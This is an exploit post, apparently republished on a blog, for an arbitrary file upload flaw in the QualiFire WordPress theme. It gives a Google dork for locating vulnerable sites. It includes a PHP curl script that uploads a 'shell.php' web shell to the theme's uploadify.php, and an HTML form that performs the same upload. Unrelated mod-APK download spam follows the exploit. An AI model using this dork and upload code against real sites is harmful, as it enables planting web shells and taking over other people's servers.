WordPress Themes QualiFire File Upload Vulnerability

In XIAOMI 54 views
#- Title: WordPress Themes QualiFire File Upload Vulnerability
#- Author: Tn_Scorpion
#- Date: 01-07-2012
#- Developer : AndonDesign
#- Link Download : themeforest .net/item/qualifire-wordpress-theme/105879
#- Google Dork: inurl:”/themes/qualifire/”
#- Fixed in Version : –
#- Tested on : win
=======================================================
— Proof Of Concept —

Vulnerable : /wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php
When Vuln : Blank
Remote file :
<?php
  
$uploadfile=”shell.php”;
$ch = curl_init(“http://example .com/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php”);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
              array(‘Filedata’=>”@$uploadfile”,
              ‘folder’=>’/wp-content/themes/qualifire/scripts/admin/uploadify/’));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
  
  print “$postResult”;
?>
CSRF :
<form
action=”http://target .com/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php”
method=”post”
enctype=”multipart/form-data”>
<label for=”file”>Filename:</label>
<input type=”file” name=”Filedata” ><br>
<input type=”submit” name=”submit” value=”Submit”>
</form>

Shell Path : Here

Tags: #File Upload #Wordpress

Free Plants Vs Zombies 1 Mod Apk Terbaru
Free Plants Vs Zombies 1 Mod Apk Terbaru
Free Plants Vs Zombies 1 Mod Apk
Download Pes 2018 Android Release APK terbaru
Download Pes 2018 Android Release APK terbaru
Download FTS Mod PES 2018 APK +
Summertime Saga 0.14.1 APK RELEASE [NEW UPDATE] Terbaru!!
Summertime Saga 0.14.1 APK RELEASE [NEW UPDATE] Terbaru!!
Summertime Saga APK v0.14.1 Terbaru– Rumah Android
Must read×

Top
error: Content is protected !!